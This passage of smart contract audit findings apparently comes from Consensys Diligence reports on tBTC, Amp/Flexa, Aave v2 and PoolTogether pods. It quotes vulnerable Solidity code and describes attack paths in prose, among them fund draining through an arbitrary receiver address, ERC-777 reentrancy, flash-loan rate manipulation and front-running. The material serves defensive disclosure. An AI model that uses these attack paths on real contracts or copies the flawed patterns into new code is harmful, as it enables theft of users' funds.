mload(_b), ptr, 32)) pop(staticcall(gas, 2, ptr, 32, ptr, 32)) res := mload(ptr) Recommendation We recommend providing only one implementation for calculating the double sha256 as maintaining two interfaces for the same functionality is not desirable. Furthermore, even though the assembly implementation is saving gas, we recommend keeping the language provided implementation. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.45 bitcoin-spv - unnecessary type correction Addressed", "body": " Resolution Issue addressed in summa-tx/bitcoin-spv#126 Description The type correction encodePacked().toBytes32() is not needed as sha256 already returns bytes32. Examples bitcoin-spv/solidity/contracts/BTCUtils.sol:L114-L117 function hash256(bytes memory _b) internal pure returns (bytes32) { return abi.encodePacked(sha256(abi.encodePacked(sha256(_b)))).toBytes32(); Recommendation Refactor to return sha256(abi.encodePacked(sha256(_b))); to save gas. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.46 tbtc - Restrict access to fallback function in Deposit.sol Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#526 Description Deposit.sol has an empty, payable fallback function. It is unused except when seizing signer bonds from BondedECDSAKeep. Recommendation So that Ether is not accidentally sent to a Deposit, have the fallback revert if the sender is not the BondedECDSAKeep. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.47 tbtc - Where possible, a specific contract type should be used rather than address Addressed", "body": " Resolution This issue has been addressed with https://github.com/keep-network/tbtc/issues/507 and keep-network/tbtc#542. Description Rather than storing addresses and then casting to the known contract type, it s better to use the best type available so the compiler can check for type safety. Examples tbtc/implementation/contracts/deposit/DepositUtils.sol:L25-L37 struct Deposit { // SET DURING CONSTRUCTION address TBTCSystem; address TBTCToken; address TBTCDepositToken; address FeeRebateToken; address VendingMachine; uint256 lotSizeSatoshis; uint8 currentState; uint256 signerFeeDivisor; uint128 undercollateralizedThresholdPercent; uint128 severelyUndercollateralizedThresholdPercent; tbtc/implementation/contracts/proxy/DepositFactory.sol:L16-L28 contract DepositFactory is CloneFactory, TBTCSystemAuthority{ // Holds the address of the deposit contract // which will be used as a master contract for cloning. address public masterDepositAddress; address public tbtcSystem; address public tbtcToken; address public tbtcDepositToken; address public feeRebateToken; address public vendingMachine; uint256 public keepThreshold; uint256 public keepSize; Remediation Where possible, use more specific types instead of address. This goes for parameter types as well as state variable types. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.48 tbtc - Variable shadowing in DepositFactory Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#512 Description DepositFactory inherits from TBTCSystemAuthority. Both contracts declare a state variable with the same name, tbtcSystem. tbtc/implementation/contracts/proxy/DepositFactory.sol:L21 address public tbtcSystem; Recommendation Remove the shadowed variable. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.49 tbtc - Values may contain dirty lower-order bits Pending", "body": " Resolution This is being tracked as https://github.com/keep-network/tbtc/issues/557. Description Examples FundingScript.receiveApproval: tbtc/implementation/contracts/scripts/FundingScript.sol:L38-L44 // Verify _extraData is a call to unqualifiedDepositToTbtc. bytes4 functionSignature; assembly { functionSignature := mload(add(_extraData, 0x20)) } require( functionSignature == vendingMachine.unqualifiedDepositToTbtc.selector, \"Bad _extraData signature. Call must be to unqualifiedDepositToTbtc.\" ); RedemptionScript.receiveApproval: tbtc/implementation/contracts/scripts/RedemptionScript.sol:L39-L45 // Verify _extraData is a call to tbtcToBtc. bytes4 functionSignature; assembly { functionSignature := mload(add(_extraData, 0x20)) } require( functionSignature == vendingMachine.tbtcToBtc.selector, \"Bad _extraData signature. Call must be to tbtcToBtc.\" ); Recommendation Solidity truncates these unneeded bytes in the subsequent comparison operations, so there is no action required. However, this is good to keep in mind if these values are ever used for anything outside of strict comparison. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.50 tbtc - Revert error string may be malformed Pending", "body": " Resolution This issue is being tracked as https://github.com/keep-network/tbtc/issues/509. Description FundingScript handles an error from a call to VendingMachine like so. tbtc/implementation/contracts/scripts/FundingScript.sol:L46-L52 // Call the VendingMachine. // We could explictly encode the call to vending machine, but this would // involve manually parsing _extraData and allocating variables. (bool success, bytes memory returnData) = address(vendingMachine).call( _extraData ); require(success, string(returnData)); On a high-level revert, returnData will already include the typical error selector . As FundingScript propagates this error message, it will add another error selector, which may make it difficult to read the error message. The same issue is present in RedemptionScript: tbtc/implementation/contracts/scripts/RedemptionScript.sol:L47-L52 (bool success, bytes memory returnData) = address(vendingMachine).call(_extraData); // By default, `address.call` will catch any revert messages. // Converting the `returnData` to a string will effectively forward any revert messages. // https://ethereum.stackexchange.com/questions/69133/forward-revert-message-from-low-level-solidity-call // TODO: there's some noisy couple bytes at the beginning of the converted string, maybe the ABI-coded length? require(success, string(returnData)); Recommendation Rather than adding an assembly-level revert to the affected contracts, ensure nested error selectors are handled in external libraries. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.51 tbtc - Where possible, use constant rather than state variables Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#513 Description TBTCSystem uses a state variable for pausedDuration, but this value is never changed. tbtc/implementation/contracts/system/TBTCSystem.sol:L34 uint256 pausedDuration = 10 days; Recommendation Consider using the constant keyword. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.52 tbtc - Variable shadowing in TBTCDepositToken constructor Addressed", "body": " Resolution Issue addressed in keep-network/tbtc#512 Description TBTCDepositToken inherits from DepositFactoryAuthority, which has a single state variable, _depositFactory. This variable is shadowed in the TBTCDepositToken constructor. tbtc/implementation/contracts/system/TBTCDepositToken.sol:L21-L26 constructor(address _depositFactory) ERC721Metadata(\"tBTC Deopsit Token\", \"TDT\") DepositFactoryAuthority(_depositFactory) public { // solium-disable-previous-line no-empty-blocks Recommendation Rename the parameter or state variable. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/02/thesis-tbtc-and-keep/"}, {"title": "5.1 Eliminate assembly code by using ABI decode ", "body": " Resolution All assembly code was replaced with proper use of Description There are several locations where assembly code is used to access and decode byte arrays (including uses inside loops). Even though assembly code was used for gas optimization, it reduces the readability (and future updatability) of the code. Examples code/amp-contracts/contracts/partitions/PartitionsBase.sol:L39-L44 assembly { flag := mload(add(_data, 32)) if (flag == CHANGE_PARTITION_FLAG) { assembly { toPartition := mload(add(_data, 64)) code/amp-contracts/contracts/partitions/PartitionsBase.sol:L43-L44 assembly { toPartition := mload(add(_data, 64)) Same code as above is also present here: /flexa-collateral-manager/contracts/FlexaCollateralManager.sol#L1403 flexa-collateral-manager/contracts/FlexaCollateralManager.sol#L1407 code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L1463-L1470 for (uint256 i = 116; i <= _operatorData.length; i = i + 32) { bytes32 temp; assembly { temp := mload(add(_operatorData, i)) proof[index] = temp; index++; Recommendation As discussed in the mid-audit meeting, it is a good solution to use ABI decode since all uses of assembly simply access 32-byte chunks of data from user input. This should eliminate all assembly code and make the code significantly more clean. In addition, it might allow for more compact encoding in some cases (for instance, by eliminating or reducing the size of the flags). This suggestion can be also applied to Merkle Root verifications/calculation code, which can reduce the for loops and complexity of these functions. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.2 Ignored return value for transferFrom call ", "body": " Resolution Fixed by adding a Description When burning swap tokens the return value of the transferFrom call is ignored. Depending on the token s implementation this could allow an attacker to mint an arbitrary amount of Amp tokens. Note that the severity of this issue could have been Critical if Flexa token was any arbitrarily tokens. We quickly verified that Flexa token implementation would revert if the amount exceeds the allowance, however it might not be the case for other token implementations. code/amp-contracts/contracts/Amp.sol:L619-L620 swapToken.transferFrom(_from, swapTokenGraveyard, amount); Recommendation The code should be changed like this: ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.3 No integration tests for the two main components ", "body": " Resolution amp-contracts added as a submodule to collateral-manager and full integration tests added It is recommended to write test suites that achieve high code coverage to prevent missing obvious bugs that tests could cover. Description The existing tests cover each of the two main components and each set of tests mocks the other component. While this is good for unit testing some issues might be missed without proper system/integration tests that cover all components. Recommendation Consider adding system/integration tests for all components. As we ve seen in the recent issues in multi-contract smart contract systems, it s becoming more crucial to have a full test suits for future changes to the code base. Not having inter-component tests, could result in issues in the next development and deployment cycles. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.4 Potentially insufficient validation for operator transfers ", "body": " Resolution removing operatorTransferByPartition and simplifying the interfaces to only tranferByPartition This removes the existing tranferByPartition, converting operatorTransferByPartition to it. The reason for this is to make the client interface simpler, where there is one method to transfer by partition, and that method can be called by either a sender wanting to transfer from their own address, or an operator wanting to transfer from a different token holder address. We found that it was redundant to have multiple methods, and the client convenience wasn t worth the confusion. Description For operator transfers, the current validation does not require the sender to be an operator (as long as the transferred value does not exceed the allowance): code/amp-contracts/contracts/Amp.sol:L755-L759 require( _isOperatorForPartition(_partition, msg.sender, _from) || (_value <= _allowedByPartition[_partition][_from][msg.sender]), EC_53_INSUFFICIENT_ALLOWANCE ); It is unclear if this is the intention or whether the logical or should be a logical and. Recommendation Confirm that the code matches the intention. If so, consider documenting the behavior (for instance, by changing the name of function operatorTransferByPartition. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.5 Potentially missing nonce check ", "body": " Resolution Nothing was done here, as Dave M writes: The first two are working as intended, and the third does check that the value is monotonically increasing. Description When executing withdrawals in the collateral manager the per-address withdrawal nonce is simply updated without checking that the new nonce is one greater than the previous one (see Examples). It seems like without such a check it might be easy to make mistakes and causing issues with ordering of withdrawals. Examples code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L663-L664 addressToWithdrawalNonce[_partition][supplier] = withdrawalRootNonce; code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L845-L846 addressToWithdrawalNonce[_partition][supplier] = maxWithdrawalRootNonce; code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L1155-L1156 maxWithdrawalRootNonce = _nonce; Recommendation Consider adding more validation and sanity checks for nonces on per-address withdrawals. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.6 Unbounded loop when validating Merkle proofs ", "body": " Resolution The loop was removed by switching to Description It seems like the loop for validating Merkle proofs is unbounded. If possible it would be good to have an upper bound to prevent DoS-like attacks. It seems like the depth of the tree, and thus, the length of the proof could be bounded. This could also simplify the decoding and make it more robust. For instance, in _decodeWithdrawalOperatorData it is unclear what happens if the data length is not a multiple of 32. It seems like it might result in out-of-bound reads. code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L1460-L1470 uint256 proofNb = (_operatorData.length - 84) / 32; bytes32[] memory proof = new bytes32[](proofNb); uint256 index = 0; for (uint256 i = 116; i <= _operatorData.length; i = i + 32) { bytes32 temp; assembly { temp := mload(add(_operatorData, i)) proof[index] = temp; index++; Recommendation Consider enforcing a bound on the length of Merkle proofs. Also note that if similar mitigation method as issue 5.1 is used, this method can be replaced by a simpler function using ABI Decode, which does not have any unbounded issues as the sizes of the hashes are fixed (or can be indicated in the passed objects) ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.7 Mitigation for possible reentrancy in token transfers ", "body": " Resolution Fixed as recommended. Description ERC777 adds significant features to the token implementation, however there are some known risks associated with this token, such as possible reentrancy attack vector. Given that the Amp token uses hooks to communicate to Collateral manager, it seems that the environment is trusted and safe. However, a minor modification to the implementation can result in safer implementation of the token transfer. Examples In Amp.sol --> _transferByPartition() code/amp-contracts/contracts/Amp.sol:L1152-L1177 require( _balanceOfByPartition[_from][_fromPartition] >= _value, EC_52_INSUFFICIENT_BALANCE ); bytes32 toPartition = _fromPartition; if (_data.length >= 64) { toPartition = _getDestinationPartition(_fromPartition, _data); _callPreTransferHooks( _fromPartition, _operator, _from, _to, _value, _data, _operatorData ); _removeTokenFromPartition(_from, _fromPartition, _value); _transfer(_from, _to, _value); _addTokenToPartition(_to, toPartition, _value); _callPostTransferHooks( toPartition, Recommendation It is suggested to move any condition check that is checking the balance to after the external call. However _callPostTransferHooks needs to be called after the state changes, so the suggested mitigation here is to move the require at line 1152 to after _callPreTransferHooks() function (e.g. line 1171). ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.8 Potentially inconsistent input validation ", "body": " Resolution transferWithData was removed as a resolution of another filed issue, the rest are documented properly. The msg.sender cannot be authorized or revoked from being an operator for itself. This should also be clear from the natspec comments now. Description There are some functions that might require additional input validation (similar to other functions): Examples Amp.transferWithData: require(_isOperator(msg.sender, _from), EC_58_INVALID_OPERATOR); like in code/amp-contracts/contracts/Amp.sol:L699 require(_isOperator(msg.sender, _from), EC_58_INVALID_OPERATOR); Amp.authorizeOperatorByPartition: require(_operator != msg.sender); like in code/amp-contracts/contracts/Amp.sol:L789 require(_operator != msg.sender); Amp.revokeOperatorByPartition: require(_operator != msg.sender); like in code/amp-contracts/contracts/Amp.sol:L800 require(_operator != msg.sender); Recommendation Consider adding additional input validation. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.9 ERC20 compatibility of Amp token using defaultPartition ", "body": " Resolution This fix resulted in significant changes to the token allowance work flow. The new implementation of balanceOf represents the total balance of tokens at that address (across any partition), instead of only default partition. The approve + allowance based operations were using a distinct global allowance mapping, while the rest of the ERC20 compat operations were using the partition state mappings with the default partition. This makes the allowance operations behave the same as the balance based operations. Description It is somewhat unclear how the Amp token ensures ERC20 compatibility. While the default partition is used in some places (for instance, in function balanceOf) there are also separate fields for (aggregated) balances/allowances. This seems to introduce some redundancy and raises certain questions about when which fields are relevant. Examples _allowed is used in function allowance instead of _allowedByPartition with the default partition An Approval event should be emitted when approving the default partition code/amp-contracts/contracts/Amp.sol:L1494 emit ApprovalByPartition(_partition, _tokenHolder, _spender, _amount); increaseAllowance() vs. increaseAllowanceByPartition() Recommendation After the mid-audit discussion, it was clear that the general balanceOf method (with no partition) is not needed and can be replaced with a balanceOf function that returns balance of the default partition, similarly for allowance, the general increaseAllowance function can simply call increaseAllowanceByPartition using default partition (same for decreaseAllowance). ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.10 Duplicate code better be moved to shared library ", "body": " Resolution aforementioned functions were moved to a shared library Description There are some functionalities that the code is duplicated between different smart contracts. Examples _getDestinationPartition() is present in both PartitionBase.sol and FlexaCollateralManager.sol Note that in PartitionBase the usage results in dead code in the contract. code/amp-contracts/contracts/Amp.sol:L1158-L1160 if (_data.length >= 64) { toPartition = _getDestinationPartition(_fromPartition, _data); code/amp-contracts/contracts/partitions/PartitionsBase.sol:L33-L36 toPartition = _fromPartition; if (_data.length < 64) { return toPartition; _splitPartition() is present in FlexaCollateralManager.sol, PartitionBase.sol with slightly different implementations. One has an extra return value for subPartition which is not used in the code under audit Recommendation Use a shared library for these functions, possibly ParitionBased.sol can be used in Collateral Manager. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.11 Additional validation for canReceive ", "body": " Resolution Added proper checks and merged Description For FlexaCollateralManager.tokensReceived there is validation to ensure that only the Amp calls the function. In contrast, there is no such validation for canReceive and it is unclear if this is the intention. Examples code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L492-L493 require(msg.sender == amp, \"Invalid sender\"); Recommendation Consider adding a conjunct msg.sender == amp in function _canReceive. code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L468-L470 function _canReceive(address _to, bytes32 _destinationPartition) internal view returns (bool) { return _to == address(this) && partitions[_destinationPartition]; ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.12 Update to Solidity 0.6.10 ", "body": " Resolution Updated to Description Due to an issue found in 0.6.9, it is recommended to update the compiler version to latest version 0.6.10. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.13 Discrepancy between code and comments ", "body": " Description There are some discrepancies between (uncommented) code and the documentations comment: Examples code/amp-contracts/contracts/Amp.sol:L459-L462 // Indicate token verifies Amp, ERC777 and ERC20 interfaces ERC1820Implementer._setInterface(AMP_INTERFACE_NAME); ERC1820Implementer._setInterface(ERC20_INTERFACE_NAME); // ERC1820Implementer._setInterface(ERC777_INTERFACE_NAME); code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L268-L279 /** @notice Indicates a supply refund was executed @param supplier Address whose refund authorization was executed @param partition Partition from which the tokens were transferred @param amount Amount of tokens transferred / event SupplyRefund( address indexed supplier, bytes32 indexed partition, uint256 amount, uint256 indexed nonce ); Recommendation Consider updating either the code or the comment. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.14 Several fields could potentially be private ", "body": " Resolution : Comment from Flexa team: We audited the suggested fields, and determined that we would like them to be public for transparency and/or functionality reasons. Description Several fields in Amp could possibly be private: Examples swapToken: code/amp-contracts/contracts/Amp.sol:L261 ISwapToken public swapToken; swapTokenGraveyard: code/amp-contracts/contracts/Amp.sol:L268 address public constant swapTokenGraveyard = 0x000000000000000000000000000000000000dEaD; collateralManagers: code/amp-contracts/contracts/Amp.sol:L236 address[] public collateralManagers; partitionStrategies: code/amp-contracts/contracts/Amp.sol:L248 bytes4[] public partitionStrategies; The same hold for several fields in FlexaCollateralManager. For instance: partitions: code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L78 mapping(bytes32 => bool) public partitions; nonceToSupply: code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L144 mapping(uint256 => Supply) public nonceToSupply; withdrawalRootToNonce: code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L163 mapping(bytes32 => uint256) public withdrawalRootToNonce; Recommendation Double-check that you really want to expose those fields. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.15 Several fields could be declared immutable ", "body": " Resolution Comment from Flexa team: We tried to add this, but found that it made validating the contract on Etherscan impossible. We have added comments to a reader of the contract indicating the fields are immutable after deployment, though. Description Several fields could be declared immutable to make clear that they never change after construction: Examples Amp._name: code/amp-contracts/contracts/Amp.sol:L129 string internal _name; Amp._symbol: code/amp-contracts/contracts/Amp.sol:L134 string internal _symbol; Amp.swapToken: code/amp-contracts/contracts/Amp.sol:L261 ISwapToken public swapToken; FlexaCollateralManager.amp: code/flexa-collateral-manager/contracts/FlexaCollateralManager.sol:L73 address public amp; Recommendation Use the immutable annotation in Solidity (see Immutable). ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/06/amp/"}, {"title": "5.1 Attacker can abuse swapLiquidity function to drain users funds ", "body": " Resolution Solved by removing Description The swapLiquidity function allows liquidity providers to atomically swap their collateral. The function takes a receiverAddressargument that normally points to an ISwapAdapter implementation trusted by the user. code/contracts/lendingpool/LendingPoolCollateralManager.sol:L490-L517 vars.fromReserveAToken.burn( msg.sender, receiverAddress, amountToSwap, fromReserve.liquidityIndex ); // Notifies the receiver to proceed, sending as param the underlying already transferred ISwapAdapter(receiverAddress).executeOperation( fromAsset, toAsset, amountToSwap, address(this), params ); vars.amountToReceive = IERC20(toAsset).balanceOf(receiverAddress); if (vars.amountToReceive != 0) { IERC20(toAsset).transferFrom( receiverAddress, address(vars.toReserveAToken), vars.amountToReceive ); if (vars.toReserveAToken.balanceOf(msg.sender) == 0) { _usersConfig[msg.sender].setUsingAsCollateral(toReserve.id, true); vars.toReserveAToken.mint(msg.sender, vars.amountToReceive, toReserve.liquidityIndex); However, since an attacker can pass any address as the receiverAddress, they can arbitrarily transfer funds from other contracts that have given allowances to the LendingPool contract (for example, another ISwapAdapter). The amountToSwap is defined by the caller and can be very small. The attacker gets the difference between IERC20(toAsset).balanceOf(receiverAddress) value of toAsset and the amountToSwap of fromToken. Remediation Ensure that no funds can be stolen from contracts that have granted allowances to the LendingPool contract. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.2 Griefing attack by taking flash loan on behalf of user ", "body": " Description When taking a flash loan from the protocol, the arbitrary receiverAddress address can be passed as the argument: code/contracts/lendingpool/LendingPool.sol:L547-L554 function flashLoan( address receiverAddress, address asset, uint256 amount, uint256 mode, bytes calldata params, uint16 referralCode ) external override { That may allow anyone to execute a flash loan on behalf of other users. In order to make that attack, the receiverAddress should give the allowance to the LendingPool contract to make a transfer for the amount of currentAmountPlusPremium. Example If someone is giving the allowance to the LendingPool contract to make a deposit, the attacker can execute a flash loan on behalf of that user, forcing the user to pay fees from the flash loan. That will also prevent the victim from making a successful deposit transaction. Remediation Make sure that only the user can take a flash loan. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.3 Interest rates are updated incorrectly ", "body": " Resolution This issue was independently discovered by the Aave developers and had already been fixed by the end of the audit. The function updateInterestRates() updates the borrow rates of a reserve. Since the rates depend on the available liquidity they must be recalculated each time liquidity changes. The function takes the amount of liquidity added or removed as the input and is called ahead of minting or burning ATokens. However, in LendingPoolCollateralManager an interest rate update is performed after aTokens have been burned, resulting in an incorrect interest rate. code/contracts/lendingpool/LendingPoolCollateralManager.sol:L377-L382 vars.collateralAtoken.burn( user, receiver, vars.maxCollateralToLiquidate, collateralReserve.liquidityIndex ); code/contracts/lendingpool/LendingPoolCollateralManager.sol:L427-L433 //updating collateral reserve collateralReserve.updateInterestRates( collateral, address(vars.collateralAtoken), 0, vars.maxCollateralToLiquidate ); Recommendation Update interest rates before calling collateralAtoken.burn(). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.4 Unhandled return values of transfer and transferFrom ", "body": " Resolution ERC20 implementations are not always consistent. Some implementations of transfer and transferFrom could return false on failure instead of reverting. It is safer to wrap such calls into require() statements to these failures. Unsafe transferFrom calls were found in the following locations: code/contracts/lendingpool/LendingPool.sol:L578 IERC20(asset).transferFrom(receiverAddress, vars.aTokenAddress, vars.amountPlusPremium); code/contracts/lendingpool/LendingPoolCollateralManager.sol:L407 IERC20(principal).transferFrom(receiver, vars.principalAToken, vars.actualAmountToLiquidate); code/contracts/lendingpool/LendingPoolCollateralManager.sol:L507-L511 IERC20(toAsset).transferFrom( receiverAddress, address(vars.toReserveAToken), vars.amountToReceive ); Recommendation Check the return value and revert on 0/false or use OpenZeppelin s SafeERC20 wrapper functions. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.5 Re-entrancy attacks with ERC-777 ", "body": " Resolution The issue was partially mitigated in Description Some tokens may allow users to perform re-entrancy while calling the transferFrom function. For example, it would be possible for an attacker to borrow a large amount of ERC-777 tokens from the lending pool by re-entering the deposit function from within transferFrom. code/contracts/lendingpool/LendingPool.sol:L91-L118 function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external override { _whenNotPaused(); ReserveLogic.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address aToken = reserve.aTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, aToken, amount, 0); bool isFirstDeposit = IAToken(aToken).balanceOf(onBehalfOf) == 0; if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex); //transfer to the aToken contract IERC20(asset).safeTransferFrom(msg.sender, aToken, amount); emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode); Because the safeTransferFrom call is happening at the end of the deposit function, the deposit will be fully processed before the tokens are actually transferred. So at the beginning of the transfer, the attacker can re-enter the call to withdraw their deposit. The withdrawal will succeed even though the attacker s tokens have not yet been transferred to the lending pool. Essentially, the attacker is granted a flash-loan but without paying fees. Additionally, after these calls, interest rates will be skewed because interest rate update relies on the actual current balance. Remediation Do not whitelist ERC-777 or other re-entrable tokens to prevent this kind of attack. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.6 Potential manipulation of stable interest rates using flash loans ", "body": " Resolution This type of manipulation is difficult to prevent completely especially when flash loans are available. In practice however, attacks are mitigated by the following factors: Liquidity providers attempting to increase users stable rates would have to pay a high flash loan premium. Users could also immediately swap to variable interest meaning that the attack could result in a net loss for the LP. In practice, it is likely that this makes the attack economically unfeasible. Under normal conditions, users would only gain a relatively small advantage by lowering their stable rate due to the design of the stable rate curve. If a user attempted to manipulate their stable rate during a liquidity crisis, Aave could immediately rebalance them and bring the rate back to normal. Flash loans allow users to borrow large amounts of liquidity from the protocol. It is possible to adjust the stable rate up or down by momentarily removing or adding large amounts of liquidity to reserves. LPs increasing the interest rate of borrowers The function rebalanceStableBorrowRate() increases the stable interest rate of a user if the current liquidity rate is higher than the user s stable rate. A liquidity provider could trigger an artificial liquidity crisis in a reserve and increase the stable interest rates of borrowers by atomically performing the following steps: Take a flash loan to take a large number of tokens from a reserve Re-balance the stable rate of the emptied reserves borrowers Repay the flash loan (plus premium) Withdraw the collateral and repay the flash loan Individual borrowers would then have to switch to the variable rate to return to a lower interest rate. User borrowing at an artificially lowered interest rate Users wanting to borrow funds could attempt to get a lower interest rate by temporarily adding liquidity to a reserve (which could e.g. be flash borrowed from a different protocol). While there s a check that prevents users from borrowing an asset while also adding a higher amount of the same asset as collateral, this can be bypassed rather easily by depositing the collateral from a different address (via smart contracts). Aave would then have to rebalance the user to restore an appropriate interest rate. In practice, users would gain only a relatively small advantage here due to the design of the stable rate curve. Recommendation This type of manipulation is difficult to prevent especially when flash loans are available. The safest option to prevent the first variant would be to restrict access to rebalanceStableBorrowRate() to admins. In any case, Aave should monitor the protocol at all times to make sure that interest rates are being rebalanced to sane values. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.7 Code quality could be improved ", "body": " Some minor code quality improvements are recommended to improve readability. Explicitly set the visibility for of variables: code/contracts/tokenization/StableDebtToken.sol:L23-L24 mapping(address => uint40) _timestamps; uint40 _totalSupplyTimestamp; code/contracts/configuration/LendingPoolAddressesProviderRegistry.sol:L17-L18 mapping(address => uint256) addressesProviders; address[] addressesProvidersList; ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.8 Attacker can front-run delegator when changing allowance ", "body": " Users can grant allowances to borrow debt assets to other users using the delegateAllowance function. Similar to the classical ERC20 approve attack, it is possible for a malicious user to front-run the delegator when they attempt to change the allowance and borrow the sum of the old and new values. Example scenario: Bob creates an allowance of 100 DAI for Malice: delegateBorrowAllowance(DAI, Malice, 100) Later, Bob attempts to lower the allowance to 90: delegateBorrowAllowance(DAI, Malice, 90) Malice borrows a total of 190 DAI by first frontrunning Bob s second transaction borrowing 100 DAI and then borrowing another 90 DAI after Bob s transaction was mined. Recommentation A commonly used way of preventing this attack is using increaseAllowance() and decreaseAllowance() functions specifically for increasing and decreasing allowances. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "5.9 Description of flash loan function is inconsistent with code ", "body": " The function flashLoan in LendingPool.sol takes an argument mode that specifies the interest rate mode. If the mode is ReserveLogic.InterestRateMode.NONE the function call is treated as a flash loan, if not a normal borrow is executed. However, inline comments in the function describe the behaviour as If the transfer didn t succeed, the receiver either didn t return the funds, or didn t approve the transfer . It is unclear how this relates to the actual code or why it is possible to specify a mode in the first place. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/09/aave-protocol-v2/"}, {"title": "3.1 Winning pods can be frontrun with large deposits ", "body": " Description Pod.depositTo() grants users shares of the pod pool in exchange for tokenAmount of token. code/pods-v3-contracts/contracts/Pod.sol:L266-L288 function depositTo(address to, uint256 tokenAmount) external override returns (uint256) require(tokenAmount > 0, \"Pod:invalid-amount\"); // Allocate Shares from Deposit To Amount uint256 shares = _deposit(to, tokenAmount); // Transfer Token Transfer Message Sender IERC20Upgradeable(token).transferFrom( msg.sender, address(this), tokenAmount ); // Emit Deposited emit Deposited(to, tokenAmount, shares); // Return Shares Minted return shares; The winner of a prize pool is typically determined by an off-chain random number generator, which requires a request to first be made on-chain. The result of this RNG request can be seen in the mempool and frontrun. In this case, an attacker could identify a winning Pod contract and make a large deposit, diluting existing user shares and claiming the entire prize. Recommendation The modifier pauseDepositsDuringAwarding is included in the Pod contract but is unused. code/pods-v3-contracts/contracts/Pod.sol:L142-L148 modifier pauseDepositsDuringAwarding() { require( !IPrizeStrategyMinimal(_prizePool.prizeStrategy()).isRngRequested(), 